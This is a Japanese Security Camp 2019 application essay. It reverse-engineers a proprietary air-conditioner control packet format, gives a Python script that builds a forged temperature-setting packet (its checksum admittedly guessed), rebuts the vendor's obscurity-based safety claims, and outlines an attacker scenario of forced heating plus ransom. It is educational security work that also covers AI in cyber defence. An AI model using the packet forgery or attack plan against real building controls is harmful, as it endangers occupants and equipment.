セキュリティ・キャンプ全国大会 2019 バラエティトラック 応募用紙

これは何

セキュリティ・キャンプ全国大会 2019 バラエティトラックのポエム応募用紙です.
フォーマットについてはMarkdown likeな感じで書いているので,表示が変になっているところがありますがご了承ください.
あと内容の正確性についても保証できませんのでご了承ください🙇‍♂️

問題1

問a

解析に用いたスクリプト群はGist(参照: https://gist.github.com/Szarny/9059a11f48ad9b8a588b69defae4e530)で公開しています.

BEGの解析

まず,各パケットに共通する先頭の42 45 47について,以下のスクリプトによってASCIIのBEGであることを確認しました.

print(chr(0x42))
print(chr(0x45))
print(chr(0x47))

ここまでの調査で分かっていることは以下の通りです.

|   | BEG      | ???                                                            |
| 1 | 42 45 47 | 08 0A A7 5C 08 00 00 04 00 01 00 00 E0 41 45 4E 44 20 50 A8 F3 |
| 2 | 42 45 47 | 3A 0A A7 5C 08 00 00 04 00 01 00 00 9C 41 45 4E 44 DA 66 22 70 |
| 3 | 42 45 47 | C2 0C A7 5C 05 00 00 04 00 03 05 45 4E 44 06 C7 07 12          |

ヒントの調査

最初に,ヒントのうち理解ができていなかったIEEE 754とCRCについて調査を行いました. 調査の結果,IEEE 754については,浮動小数点数を符号部(1bit),指数部(8bit),仮数部(23bit)に分けて表す標準規格だということがわかりました.この時点で,上記のパケットのうちこのIEEE 754が用いられていそうな部分は「設定温度(xx.x度)」であると目星をつけました.
そして,CRCについては,データ転送時等に発生するビットの誤りを検出するための符号だということがわかりました.さらに,このCRCは画像フォーマットであるPNGEthernetフレームの誤り検出のためにデータの末尾に追加されることがあることを知りました.ここから,上記のパケットのプロトコルでは誤りを検出する目的で末尾にCRCの符号を付加しているのではないかと推察しました.

方針の立案

次に,パケット(1)とパケット(2)について比較を行いました.これらのパケットにおいて,ペイロードに格納されていそうな情報は「操作対象(エアコン)」「設定温度(xx.x度)」だと推察しました.また,ヒントより,このコマンドを実行した際の「UNIX時間」,誤り検出のための「CRC」も含まれていると考えました.そして,より具体的には,パケット(1)とパケット(2)において大きく異なるのは「設定温度(xx.x度)」であるため,これらのパケットの差異をもとに解析を進めていくという方針を立てました

UNIX時間の解析

まず,一番解析が行いやすいと考えたUNIX時間について解析を行いました. 問題文から,このパケットが2019/04/05に取得されたことが判明しているため,その日の正午のUNIX時刻を以下のスクリプトで取得しました.

import datetime

dt = datetime.datetime(2019, 4, 5, 12, 0, 0)
unixtime = dt.timestamp()
print(hex(int(unixtime)))

結果は,0x5ca6c4b0となりました.この5c a6の部分がパケットの6バイト目と7バイト目をひっくり返した時の値と類似しているのに気がつきました.ここで,ヒントとして与えられていた「リトルエンディアン」を思い出し,このプロトコルにおけるUNIX時間は,パケットの4バイト目〜7バイト目までの4バイトの区間にリトルエンディアンで記録されるのではないかと考えました. そこで,総当たりで各パケットの実行時におけるUNIX時間を解析するスクリプトを実装しました.

import datetime

def get_hex_unixtime_on_2019_4_5(h, m, s):
    dt = datetime.datetime(2019, 4, 5, h, m, s)
    unixtime = dt.timestamp()
    return hex(int(unixtime))

pkt1_unixtime = "0x5ca70a08"
pkt2_unixtime = "0x5ca70a3a"
pkt3_unixtime = "0x5ca70cc2"
time_tmpl = "2019/04/05 {:02d}:{:02d}:{:02d}"

for h in range(24):
    for m in range(60):
        for s in range(60):
            unixtime = get_hex_unixtime_on_2019_4_5(h, m, s)

            if unixtime == pkt1_unixtime:
                pkt1_time = time_tmpl.format(h, m, s)
            elif unixtime == pkt2_unixtime:
                pkt2_time = time_tmpl.format(h, m, s)
            elif unixtime == pkt3_unixtime:
                pkt3_time = time_tmpl.format(h, m, s)

print("pkt1_time: ", pkt1_time)
print("pkt2_time: ", pkt2_time)
print("pkt3_time: ", pkt3_time)

このスクリプトの実行結果から,このプロトコルにおけるUNIX時間がパケットの4バイト目〜7バイト目までの4バイトの区間にリトルエンディアンで記録されているという仮説が正しいと考えました.また,各パケットの詳細な実行時間も特定できました.

pkt1_time:  2019/04/05 16:55:52
pkt2_time:  2019/04/05 16:56:42
pkt3_time:  2019/04/05 17:07:30

ここまでの解析でわかっていることは以下の通りです.

|   | BEG      | UNIXTIME    | ???                                                |
| 1 | 42 45 47 | 08 0A A7 5C | 08 00 00 04 00 01 00 00 E0 41 45 4E 44 20 50 A8 F3 |
| 2 | 42 45 47 | 3A 0A A7 5C | 08 00 00 04 00 01 00 00 9C 41 45 4E 44 DA 66 22 70 |
| 3 | 42 45 47 | C2 0C A7 5C | 05 00 00 04 00 03 05 45 4E 44 06 C7 07 12          |

設定温度の解析とコマンドについて

このプロトコルにおける設定温度は小数点以下も設定できるため,内部的には浮動小数点型の情報がやりとりされていると考えられます. ここで,28.019.5IEEE 754の32bit単精度と64bit倍精度のフォーマット(リトルエンディアン)で出力する以下のスクリプトによって結果を確認しました.

import struct
print("[f32] 28.0 = ", struct.pack('<f', 28.0))
print("[f64] 28.0 = ", struct.pack('<d', 28.0))
print("[f32] 19.5 = ", struct.pack('<f', 19.5))
print("[f64] 19.5 = ", struct.pack('<d', 19.5))

結果は以下のようになりました.

[f32] 28.0 =  b'\x00\x00\xe0A'
[f64] 28.0 =  b'\x00\x00\x00\x00\x00\x00<@'
[f32] 19.5 =  b'\x00\x00\x9cA'
[f64] 19.5 =  b'\x00\x00\x00\x00\x00\x803@'

32bit単精度の時の結果に着目します.出力はそれぞれ\x00\x00\xe0A\x00\x00\x9cAとなっていますが,AはASCIIコードで0x41であるため,\x00\x00\xe0\x41\x00\x00\x9c\x41と読み替えることができます. この結果を,先ほどのパケット(1)とパケット(2)と比較すると,明らかにパケットの14バイト目〜17バイト目までの4バイトの区間がそれぞれの設定温度の単精度表現と一致しています. また,パケット(1)とパケット(2)の8バイト目〜13バイト目までの6バイトの区間は両者とも一致している一方で,パケット(3)のみは異なっています.この結果から,ここで機器に対するコマンドのようなものを表しているのだろうと推察しました.なぜなら,ここがCRCなら全パケットで異なった値が設定されると考えたからです.また,コマンドに関しては08 00 00 04 00 01がエアコンに対して設定温度を送信するコマンド,05 00 00 04 00 03が風の強さを調節する際に送信するコマンドだと考えられます.

ここまでの調査で以下のことがわかりました.

|   | BEG      | UNIXTIME    | COMMAND           | TEMPERATURE | ???                  |
| 1 | 42 45 47 | 08 0A A7 5C | 08 00 00 04 00 01 | 00 00 E0 41 | 45 4E 44 20 50 A8 F3 |
| 2 | 42 45 47 | 3A 0A A7 5C | 08 00 00 04 00 01 | 00 00 9C 41 | 45 4E 44 DA 66 22 70 |

|   | BEG      | UNIXTIME    | COMMAND           | ???                     |
| 3 | 42 45 47 | C2 0C A7 5C | 05 00 00 04 00 03 | 05 45 4E 44 06 C7 07 12 |

08 00 00 04 00 01 = エアコンに対して設定温度を送信するコマンド
05 00 00 04 00 03 = 風の強さを調節するコマンド

パケット(1),(2)と(3)の不明な部分におけるバイト長の差異について

上記の調査結果におけるパケット(1),(2)と(3)を比較すると,???の部分が(1),(2)は7バイト長,(3)は8バイト長となっており,(3)の方が1バイト余分に残っています. また,現在までの解析で,パケット(3)における風の強さを調節する際の強度のパラメタのようなデータが見つかっていないことを考えると,(3)の1バイト余分に残っている部分がそうなのではないかと推察できます. ここで,パケット(3)の???部における先頭のバイトが05となっており,これは「風の強さを5段階の一番強くした」というパケットの説明に適合します(05という値が5段階中の一番大きな値を表していると考えられるため). よって,パケット(3)の14バイト目を風の強さだと考えました.

ここまでの調査で以下のことがわかりました.

|   | BEG      | UNIXTIME    | COMMAND           | TEMPERATURE | ???                  |
| 1 | 42 45 47 | 08 0A A7 5C | 08 00 00 04 00 01 | 00 00 E0 41 | 45 4E 44 20 50 A8 F3 |
| 2 | 42 45 47 | 3A 0A A7 5C | 08 00 00 04 00 01 | 00 00 9C 41 | 45 4E 44 DA 66 22 70 |

|   | BEG      | UNIXTIME    | COMMAND           | AIR         | ???                  |
| 3 | 42 45 47 | C2 0C A7 5C | 05 00 00 04 00 03 | 05          | 45 4E 44 06 C7 07 12 |

08 00 00 04 00 01 = エアコンに対して設定温度を送信するコマンド
05 00 00 04 00 03 = 風の強さを調節するコマンド

不明部分の45 4E 44について

現時点における???部分の先頭3バイトである45 4E 44は全パケットで一致しています. ここまでで全パケットで一致している部分は先頭3バイトの42 45 47(=BEG)しかないため,ここも同じようなことを表しているのではないかと考え,BEGの際と同様に文字に起こしました.その結果,ENDを表していることが分かりました.

print(chr(0x45))
print(chr(0x4e))
print(chr(0x44))

ここまでの調査で以下のことがわかりました.

|   | BEG      | UNIXTIME    | COMMAND           | TEMPERATURE | END      | ???         |
| 1 | 42 45 47 | 08 0A A7 5C | 08 00 00 04 00 01 | 00 00 E0 41 | 45 4E 44 | 20 50 A8 F3 |
| 2 | 42 45 47 | 3A 0A A7 5C | 08 00 00 04 00 01 | 00 00 9C 41 | 45 4E 44 | DA 66 22 70 |

|   | BEG      | UNIXTIME    | COMMAND           | AIR         | END      | ???         |
| 3 | 42 45 47 | C2 0C A7 5C | 05 00 00 04 00 03 | 05          | 45 4E 44 | 06 C7 07 12 |

08 00 00 04 00 01 = エアコンに対して設定温度を送信するコマンド
05 00 00 04 00 03 = 風の強さを調節するコマンド

末尾の???部分について

ここまでの調査で判明していないのはCRCのみです.よって,各パケットの末尾4バイトの値はBEG~ENDまでのペイロードをもとに算出されたCRCの符号であると考えました. また,CRCの種類について追加的に調査したところ,CRC-32では結果として32ビット(4バイト)の値が算出されることがわかりました.これは,末尾の???部分の長さと一致しています. ここで,CRC-32について調査したところ,CRC-32にはCRC-32-Adler,CRC-32-IEEE802.3,CRC-32C,CRC-32K,CRC-32Qをはじめとするいくつかのアルゴリズムが存在することがわかりました. そこで,各CRCの算出アルゴリズムを実装し,各パケットのペイロードにおけるこれらの値を算出することで,どのアルゴリズムが使用されているのかを調べました.

最後まで粘りましたが,末尾の???部分の値と一致するCRCを算出することができませんでした. 具体的には,パケット全体(BEG~END),パケットからBEGENDを取り除いた部分,およびそれらのリトルエンディアンについて以下に示すアルゴリズムを実装し値を算出するスクリプトを実装しましたが,一致する値は算出されませんでした.

また,以下に示すCRC32の複数のアルゴリズムを用いて値を算出するツールを用いて算出してみましたが,同様に一致する値は算出されませんでした.

 上記の複数の CRC32アルゴリズムを用いても算出できなかったことから,改めてパケットのCRC算出方法について調査してみたところ,様々な制御システム向けのプロトコルにおいてチェックサムとして末尾にCRC16を付加するという記事を発見しました.そこでそれらのプロトコルの仕様について調査したところ,Modbus/TCPやBACnet/IP, DNP3,PROFINETといった多くのプロトコルにおいてCRC16で生成された値や,その結果の排他的論理和を計算した値をチェックサムとして用いていることがわかりました.そこからこの値はCRC16の結果やその排他的論理和の計算結果を組み合わせたものなのではないかと考え,CRC16のアルゴリズムやその結果同士の排他的論理和の結果を用いてCRC値を同様に算出してみましたが,ここでも結果は得られませんでした.  その後,チェックサムを生成するハッシュ関数のうち末尾のデータ長である4バイト長に一致するハッシュ関数(Adler32, CRC32, CRC32b)を用いて対象とするパケットをダンプしたバイナリファイルのハッシュ値を計算してみましたが,ここでも結果は一致しませんでした.  


問b

指定した内容に基づいてパケットを生成する以下のスクリプトを実装しました. このスクリプトをもとに,エアコンの設定温度を30.0度に設定するためのパケットを生成しました. ただし,問題aに記述した通りパケットの末尾部分の値については何の値か,どうやって算出された値かが分からなかったため,本スクリプトではCRC-32-IEEE802.3を付加することにしました.

スクリプト

import datetime
import struct
import binascii

pkt = []

def add_BEG():
    pkt.extend(["42", "45", "47"])


def add_unixtime():
    year, month, day, hour, minute, second = map(int, input("YYYY MM DD hh mm ss >> ").split())
    unixtime = datetime.datetime(year, month, day, hour, minute, second).timestamp()
    unixtime_b = hex(int(unixtime))[2:]

    for i in range(6, -1, -2):
        pkt.append(unixtime_b[i:i+2])


def add_temperature():
    pkt.extend(["08", "00", "00", "04", "00", "01"])
    temperature = binascii.hexlify(struct.pack("<f", float(input("Temperature >> "))))

    for i in range(0, len(temperature), 2):
        pkt.append(temperature[i:i+2].decode())


def add_air():
    pkt.extend(["05", "00", "00", "04", "00", "03"])
    pkt.append("{0:02d}".format(int(input("Air Volume (1~5) >> "))))


def add_END():
    pkt.extend(["45", "4E", "44"])

# 分かりませんでした
def add_CRC32():
    crc32 = hex(binascii.crc32(binascii.unhexlify("".join(pkt))))[2:]

    for i in range(0, len(crc32), 2):
        pkt.append(crc32[i:i+2])


def main():
    add_BEG()

    add_unixtime()

    mode = input("[t]emperature / [a]ir >> ")

    if mode == "t":
        add_temperature()
    elif mode == "a":
        add_air()
    else:
        return

    add_END()

    add_CRC32()

    print(" ".join(list(map(str.upper, pkt))))

    with open("pkt.bin", "wb") as f:
        f.write(binascii.unhexlify("".join(pkt)))

main()

実行結果

$ python3 pktgen.py 
YYYY MM DD hh mm ss >> 2019 04 26 12 00 00
[t]emperature / [a]ir >> t
Temperature >> 30.0
42 45 47 30 74 C2 5C 08 00 00 04 00 01 00 00 F0 41 45 4E 44 56 A7 D6 DA

目的のパケット

42 45 47 30 74 C2 5C 08 00 00 04 00 01 00 00 F0 41 45 4E 44 56 A7 D6 DA


問c

 まず,主張aについて述べます.  この主張は,「空調のプロトコルは独自であり、公開されていないため、(プロトコルの詳細を知ることは不可能であり,そのためプロトコルの偽造等によって)攻撃されることはない。」という意味が含まれていると推察されます.  上記の問題を通して記述してきた通り,いくらプロトコルが独自であり,一般に公開されていないとしても,パケットのキャプチャリングや解析を通して,そのプロトコルのシーケンスやパケット構造を解析できる場合があります.そのような解析が可能な場合,解析結果をもとにパケットを偽造し,不正な命令やパラメタを機器に対して送信することが可能になります. このような「そもそも対象のアルゴリズムアーキテクチャを公開しなければ安全である」という考え方は,情報セキュリティの世界では"Security through Obscurity"と呼ばれるアンチパターンとして認識されています.なぜならそのような場合,何らかの原因によって隠蔽していた情報が外部に漏洩した場合,今回行ったような解析を通して攻撃が可能になるパターンが往々にしてあり得るからです.加えて,そのアルゴリズムアーキテクチャを利用するユーザやエンジニアは,情報が非公開であるという特性のためにその内部構造について詳しく知ることができない一方で,悪意を持った攻撃者は能動的に情報の流出やその解析を目的としたアクションをとるため,攻撃者優位の状況を築かれる恐れもあります.  そのため,今回の空調のプロトコルの場合「プロトコルの詳細が公開されていてもなお安全である」と言えるようなプロトコルを採用していることが重要であると考えます.例えば,「このプロトコルに基づいたパケットを送信する際はセキュアな暗号化アルゴリズムに基づいて送信側で暗号化を行い,受信側で復号を行う」,「パケット送信前に送信側と受信側の間でチャレンジレスポンス方式の認証を行い,パケットを送信しようとしている主体が正当なユーザ,マシンであればパケットを受理する」といったような仕組みがプロトコルに組み込まれていることが望ましいと考えられます. 上記のような理由から,プロトコルの安全性をセキュアなアルゴリズム等ではなく「プロトコルを公開していないこと」に依拠しているメーカーの主張は不適切だと考えます.

 次に,主張bについて述べます.  まず,エアコンとしての機能の範囲内で行える事について考えます.  一般的なエアコンについて調査したところ,ほとんどのメーカーで設定可能な温度範囲は「16度~30度」となっていました.例えば,真夏の猛暑日で冷房が必要な日に,空調をハッキングして30度の温風を最大風量で流し続けたとします.そのような場合,本当に命に関わらないのかと言われると,そうとは言い切れないと考えます.実際に,2018年8月に国内の病院でのエアコン故障による患者の死亡事故(参照: https://www.asahi.com/articles/ASL8X539RL8XOIPE01F.html)が発生している上,海外でも老人ホームにて空調設備がストップしたことによる死亡事故(参照: https://abcnews.go.com/US/10th-patient-dead-florida-nursing-home-lost-air/story?id=49965554)が発生しています.このような事故に鑑みると,悪意を持った主体に空調をコントロールされることにより,命に関わるようなインシデントが引き起こされることは十分に考えられます.  また,エアコンは人がいる場所の空調を整えるだけでなく,データセンタ等におけるサーバの冷却に用いられることもあります.このような場所の空調をハッキングされ,同様に30度の温風を最大風量で流し続けられた場合,冷却対象のサーバが故障,停止するといった状況が推察できます.特にこのサーバがライフラインを制御する機能を有するものであった場合,人々が生活を送る上で重要なインフラが完全にストップしてしまうといった事態が想定できます.また,このサーバが産業機械といった大型の機器を制御する機能を有するものであった場合,制御対象の機器が異常な動作を行ったり,安全装置がストップしたりすることで,その場にいた人に対して直接的な被害が及ぶ可能性があります.  加えて,エアコンとしての機能の範囲外で行えることについて考えます.  確実には言い切れませんが,今回のケースのように特定の制御機器に対してネットワークを介して不正なパケットを送信し,その機器を自由に制御できたり,解析済みのセキュリティのメカニズムがない脆弱なプロトコルに機器が適応したりする場合,その機器を踏み台としてネットワークで接続されている他の機器に侵入できる場合があります.このような攻撃が可能であり,そのビルのエアコンをはじめとする機器を制御しているコンピュータ(今回のケースであれば操作用PC)に侵入することができた場合,より広範囲かつ深刻なインシデントが引き起こされることが想定できます.   上記のようなシナリオを斟酌すると,空調の不備や不正な制御によって,人々に対して直接的,間接的に命を脅かすようなインシデントを発生させることは十分可能だと考えられます.そのため,「空調の操作程度では人命に関わるようなインシデントは発生し得ない」というメーカーの主張は到底納得できるものではないと考えます.

最後に,主張cについて述べます.  確かに,エアコンの電力がコンセントから給電されているならば,停止することは可能です.しかし「エアコンが暴走した際にコンセントを抜く」という行動は,現状発生している問題に対して一時的な対処を行うのみで,このようなルールを定めていても「エアコンが暴走する」ことの根本原因を解決には何らつながりません.一旦エアコンの不正な制御に成功した攻撃者は,何らかの目的(人や機器への被害の発生,その解消を見返りとした金銭の要求)を達成するまで,不正な制御を実現させるためのパケットを延々と送り続けるものと考えられます.そのため,もしこの主張に従って行動するなら,攻撃者から不正なパケットが送信されてエアコンが暴走した都度,何度も何度もコンセントを抜かなくてはならない上,たとえ電源を抜いたことで一時的にその不正な動作がストップしたとしても,再度コンセントをつないだ時に同様の問題が再度発生します.加えて,ビルなどの大規模な建造物の場合,設置されているエアコンの数自体が非常に多く,その裏側の配線も非常に複雑なものになっていることが推察できます.そのような状況において,こういった措置が必要なエアコンを平常的に使用することは不可能に近いと考えられます.  以上のような理由から,主張cは「停止することが可能」という文章自体は正しいとしても,エアコンを利用する際の現実的なコンテキストを全く考慮していない主張だと考えます.

--

問d

 私が攻撃者であれば,真夏の猛暑日にエアコンに設定可能な最高温度を最大風力で動作させ続けるように仕向けます.  そのような設定で動作させ続けることで,そのビルにいる人に直接的な健康被害を生じさせることができます.また,もしそのビルでコンピュータ等の精密機器が動作していれば,そういった機器に対して悪影響を及ぼすことができます.加えて,高電力での空調の連続的な稼働により,標的の電気代を底上げさせることができます.  次に,エアコンの不正な制御を停止させる代わりに身代金を要求するといった,いわゆるランサムウェアが行うようなアクションをとります.そうすることで,標的に対して金銭的な損害を発生させます.  そして,上記のような攻撃を,このメーカーの空調システムを設置している全てのビルに対して同様の攻撃を行うことで,被害を全国的に広げます.

問題2

諸事情により見せられません :bow:

問題4

 「人工知能が将来的にセキュリティ分野でどのような役割を担うか」というテーマについて,セキュリティの領域における技術要素及び人工知能の領域において可能なことの交点に存在する要素について分析を行った結果をもとに予想を立てます.

 まずはじめに人工知能,とりわけ近年主流のテーマである機械学習について分析します.機械学習を実現するためのアルゴリズム及びモデルには,ニューラルネットワーク(深層学習)やSVM,デシジョンツリーをはじめとする様々なものがあります.しかしながら,それらに共通する本質的な目的は,既存のデータが持つ特徴量をもとに同様のデータに対する汎化能力を備えたモデルを構築することで,未知のデータに対して特定のパラメタを予測する回帰処理や,未知のデータがどのクラスに属するのかを判断する分類処理を高い精度のもとで可能な限り人手を介さずに自動化させることだと考えられます.そのため,定量的に分析可能な既存のデータや振る舞いをもとにその対象が持つ特徴を予測し,何らかの処理を行うといった領域に適していると考えます.  次に,セキュリティの領域における技術要素,とりわけ防御のための技術について分析します.現状では,防御のための技術や手法には以下のようなものが存在します.

  • アンチウィルスソフトウェア
  • IDS/IPS
  • Firewall
  • WAF (Web Application Firewall)
  • ユーザ認証
  • ログ解析

 これらの技術について,人工知能の技術を組み込むことで可能となりそうな(なっている)事柄について考察します.  まず,アンチウィルスソフトウェアについて考察します.アンチウィルスソフトウェアは,従来であれば「コンピュータウィルスが持つ特定のバイナリ列が対象のソフトウェアのバイナリに含まれるかどうか」というルールに基づいて,対象のソフトウェアがコンピュータウィルスであるかどうかを判断していました.一方で,人工知能の技術を活用することで,よりフレキシブルな判断が可能になると考えられます.例えば,以下のような方策が考えられます.まず,正当なソフトウェアや不正なソフトウェアの両方を含むソフトウェア群に対して「どの程度マシンのリソースを消費しているか」,「どのようなデータにアクセスしようとしているか」,「どの程度外部のマシンとコネクションを確立しているか」といった統計的な指標を取得します.次に,その指標をもとに正当なソフトウェアと不正なソフトウェアが持つ特徴やその境界となる閾値をモデルに学習させます.そうすることで,そのモデルを用いて定量的に抽象化された指標をもとに,特定のソフトウェアが正当であるか不当であるかを判断することができるようになります.この手法においては,従来の手法では検知できなかった「未知の不正なバイナリ列を含んだコンピュータウィルス」をも検知できる可能性があります.

 次に,IDS/IPS,Firewall,WAFについて考察します.これらの技術は,送信元,送信先IPアドレスプロトコルといったパケットが持つネットワークに関するメタデータ,及びそのパケットのペイロードに含まれる特定のシグネチャをもとに,そのパケットやリクエストの通過を許可するか拒否するかを決定するためのものです.例えば,あるイントラネットを流れるパケットが持つ送信元,送信先IPアドレスが事前に許可された範囲に収まっていることを保証するために,Firewall及びIDS/IPSにIPアドレスに関するルールを定義した上で,それに違反するものをFirewallやIPSで検知した場合には当該パケットを破棄し,IDSで検知した場合にはアラートを発生させるといった処理を実現させることができます.従来このルールは,ネットワークや特定のシステムが備えるべき要件に基づいて人手で定義されることが一般的でしたが,人間が行うことである以上,要件定義段階における想定ミスや定義段階における抜け漏れが発生しやすいという問題があります.ここに人工知能の技術を活用し,統計的な指標に基づいたルールベースの構築を自動化させることで,人間が気づかないようなニッチなルールベースの構築や運用開始後における特定の不正な振る舞いをもとにしたルールの定義(例: x.y.z.wというIPアドレスから短時間に大量のパケットが送信されておりDoS攻撃の可能性が高いためパケットを遮断する)が可能になることが想定できます.

 次に,ユーザ認証について考察します.ユーザ認証には,知識による認証,所持による認証,生体認証といった種別が存在します.中でも生体認証には,主に身体的特徴による認証(例: 指紋認証虹彩認証等)と行動的特徴による認証(例: キーストローク認証,筆跡認証,デバイス操作の特徴による認証等)があります.このうち,特に生体認証における行動的特徴による認証を行う方式に人工知能の技術を活用することが可能なのではないかと考えます.行動的特徴による認証を行うためには,認証の対象となるユーザの行動的特徴を定量的に扱う必要があります.つまり,どの程度のスピードでキーをタイプしているか,どのようにカーソルを動かしているか,デバイスをどのように持っているかといった情報を,何らかのメトリクスに基づいて収集,分析する必要があります.このような状況においては,少ない特徴量や単純な線形モデル等で分析を行うことは非常に困難だと考えられます.例えば,「デバイスを持ち上げた時の高さ」と「持ち上げる時の速度」が対象のユーザが取りやすい値における一定の範囲内にある場合に認証を成功させる」といったルールに基づいて認証を行うことを想定した際,対象のユーザが常に普段通りの行動的特徴(上記の例では高さと速度)を示すとは限らない上に,対象外のユーザが対象のユーザと非常に近しい行動的特徴を示す場合があります.つまり,行動的特徴による認証をセキュアに実現するためには,比較的多数の特徴量に基づいた精密なモデルを構築する必要があります.このような要件を考慮すると,行動的特徴による認証のためのモデルの構築には機械学習の手法が非常に適しているのではないかと考えます.なぜなら,行動的特徴を表す多数の生データをモデルに投入し,そのユーザが持つ特性と高い関係性を示す特徴量を抽出した上で,それら複数の特徴量の関係性を考慮したモデルを学習のフェーズにおいて構築することが可能であると考えられるからです.    最後にログ解析について考察します.これまでに記述してきたように,大量のデータをもとに未知のデータに対する予測を行うといった処理は人工知能,とりわけ機械学習が得意とする領域です.セキュリティの文脈におけるログ解析では,蓄積された大量のログ及びリアルタイムに取得されるログから,発生した事象及びその過程を把握した上で,セキュリティインシデントの要因を把握したり,将来のインシデント発生を予防するためのインテリジェンスを蓄積させることが求められます.一方で,ログ解析には攻撃手法やコンピュータシステムに関する深い理解に加え,「このログが怪しい」と感付くための経験的知識に基づくノウハウが必要とされる場面が多々あることから,解析を行う主体のスキルに依存しがちだという問題があります.ここに機械学習の技術を組み込むことで,解析者のスキルに依存しがちなログ解析を定量的なメトリクスに基づいて実施することが可能になり,より効果的かつ効率的な解析及びインテリジェンスの収集が可能になると考えられます.例えば,平常時のネットワークのキャプチャデータを機械学習のモデルに学習させておけば,セキュリティインシデントが発生した際,ネットワーク上でキャプチャしたログファイルをそのモデルに入力すれば,平常時とは異なる振る舞いを示しているマシンや普段の傾向からは大きく外れるペイロードを持つパケット等を効率的に抽出可能になるといったシナリオが想定できます.

 上記を通して分析してきたように,セキュリティの分野には人工知能の仕組みがうまく活用できる技術が多数存在することがわかります.まとめると,それは人工知能(機械学習)における「過去のデータをもとに未知のデータを予測する」という特徴が,セキュリティの分野における難解で技術者のスキルに依存しがちな作業を自動化することに活用できるからだと考えられます.そして将来的には,人工知能のモデルや手法の進化,計算資源としてのコンピュータの高速化に伴い,上記で示したような予測,分類の処理をより少ないデータからでも,より精密かつ高速に実行できるようになると考えられます.

 これらの分析をもとに,セキュリティ分野における人工知能の将来像に関するメリットとデメリット(問題)について考察します.  まず,メリットについて考察します.  第一のメリットとして考えられることは,これまで人間が行ってきた作業を自動化できることです.例えば,セキュリティに関する様々なシステムにおけるホワイトリスト型及びブラックリスト型のルールの定義は,現在でも人手で行われることが一般的です.しかしながら,そこに人工知能のメカニズムを組み込むことで,統計データに基づいた客観的かつ有効なルールを自動的に定義できることが可能だと考えられます.加えて,ログ解析やより広い意味でのディジタルフォレンジックスにおいては,解析者のスキルに依存しがちだった現状を打破できる可能性があります.つまり,それらが対象とするデータに対して人工知能の領域における統計的な処理を施すことで,比較的スキルに乏しい技術者であっても,解析されたメトリクスや異常値等を参考にすることで,それらの作業を効率的にこなすことが可能になると考えられます.  また,技術者がより本質的なセキュリティに関する作業に携われるようになることが挙げられます.現在,細かで雑多な処理だけでなく,システムにおけるテスト工程やシステムのバックボーンとなるインフラストラクチャの構築といった比較的大規模で複雑な領域においてもツールやコードによる自動化が進んでいます.それによって,技術者が単調かつ面倒な作業から解放され,情報システムを用いて実現したい本来の目的の達成に必要な作業や提供したいサービスの考案,実装といった,よりクリエイティブな活動に比重を置くことが可能になっています.これは,セキュリティの分野において人工知能を用いて一部の作業を自動化することにも相通ずるものがあると考えます.つまりそれは,技術者がセキュリティを確保するための雑多で単調な作業から解放され,「対象となるシステムにおけるセキュリティ要件の定義をどうしていくか」や「セキュリティに関するインシデントが発生した際のレスポンスの手順はどうするのか」,「開発の際に脆弱性を埋め込まないようにはどうすればよいのか」といったような,より人間の介在を必要とする領域にリソースを割けるようになることを意味しています.  その他のメリットとしては,人工知能の仕組みを用いた全く新しいセキュリティの仕組みを構築できる展望があることが挙げられます.例えば,行動的特徴による認証はアイディア自体は考えつきそうなものの,人工知能の仕組みがなければ実現は非常に困難なものでした.あくまで想像ですが,人工知能の技術が発展していけば,以下のような従来では不可能だと考えられていた仕組みやそもそも思いつかなかった仕組みが実用化されていくのではないかと考えます.

  • 既存の脆弱性情報や各プログラマのコーディングの特性を考慮した自動ペネトレーションテストシステム
  • リスクベース認証におけるユーザの行動的特徴やアプリケーションの使用履歴,ブラウジング履歴の活用
  • GAN(Generative Adversarial Networks)を用いたサービスやWebアプリケーションに対する攻撃ベクタの自動生成

 ここから,デメリット(問題)について考察します.  私が最も大きなデメリットだと考えているのは,セキュリティに関する処理のプロセスがブラックボックス化されてしまうことです.例えば,人間であればログ解析に再しては「このIPアドレスを持つ端末から顕著に大量なパケットが送出されている.もしかしてコンピュータウィルスに感染していてデータが外部に流出しているのではないか.」や「Webアプリケーション本来の機能上必要のないパラメタがユーザから入力されている.WebサーバやWebアプリケーションの脆弱性をついた攻撃なのではないか.」といったように,何らかの論理的な推論をもとに考えを進めます.一方で,人工知能によってブラックボックス化されたシステムでは単純に「これが怪しい」といった結果のみが提示されることが往々にしてあります.たとえその結果を導出するまでの過程を可視化するための仕組みがあったとしても,統計的なメトリクスをもとに半自動的に構築された複雑なアルゴリズム数理モデルを用いている場合は,その結果が導出された理由を知ることは困難を極めると考えられます.それにより,技術者のスキルが醸成されないばかりか「システムがそう言っているので理由はわからないがとりあえず指示に従った」といったような,本来単調な作業を自動化し人間のクリエイティブな活動を促進させるための仕組みに人間が主導されてしまうといったリスクが存在します.  次にデメリットだと考えているのが,人工知能の仕組みをセキュリティの要素として活用した際に発生する問題が存在することについてです.ここでは,人工知能の仕組みを用いた行動的特徴によるユーザ認証を実例として取り上げます.前述の通り,ユーザの振る舞いを定量的に捉えることで,その行動的特徴をもとにアクセスの主体を識別することは「ある程度」可能です.一方で,このような認証は知識による認証や所持による認証とは異なり,ある一定の確率で正当なユーザをそうではないと判断したり,逆に不正なユーザを正当なユーザであると判断したりすることがあります.なぜなら,行動的特徴は同一人物であっても試行の度にある程度のブレがある上,異なる人物が同一の行動的特徴を示す場合があり得るからです.このうち,正当なユーザを拒否してしまう確率はFRR(False Rejection Rate)と呼ばれ,不正なユーザを受け入れてしまう確率はFAR(False Acceptance Rate)と呼ばれます.最も大きな問題は,この2つの指標にトレードオフというディレンマが存在することです.例えば,識別のブレを緩和する方向にシフトさせた場合,FRRは低下しますがFARが上昇します.これによって,不正なユーザが正当なユーザとして認証されるといった重大なセキュリティインシデントにつながるリスクが増大します.一方で,識別のブレを許容しない方向にシフトさせた場合,FARは低下しますがFRRが上昇します.これによって,認証されるべき正当なユーザが認証されないといったユーザビリティの低下につながるおそれがあります.一般的には,このFARとFRRの交点の値であるEERが低くなるように識別器をチューニングすることがベストプラクティスだとされていますが,人工知能のように内部的に複雑なモデルを用いて識別を行なっているような場合は,そのチューニングが困難を極めるものと考えられます.また,仮にチューニングが円滑に実施され,EERが低く抑えられたとしても,それでもなお他人受け入れや本人拒否のリスクがあるのは否定できない上に,それをサービスとして広く流通させた場合に,デバイスの種別や環境が大きく異なるユーザのデバイス上で高い識別精度が維持できるのかといった懸念もあります.このように,人工知能の仕組みをセキュリティの要素として活用する際には,一定の確率において誤検知や誤認識等に起因するセキュリティ上のリスクが発生する場合があるという問題が現状として存在します.  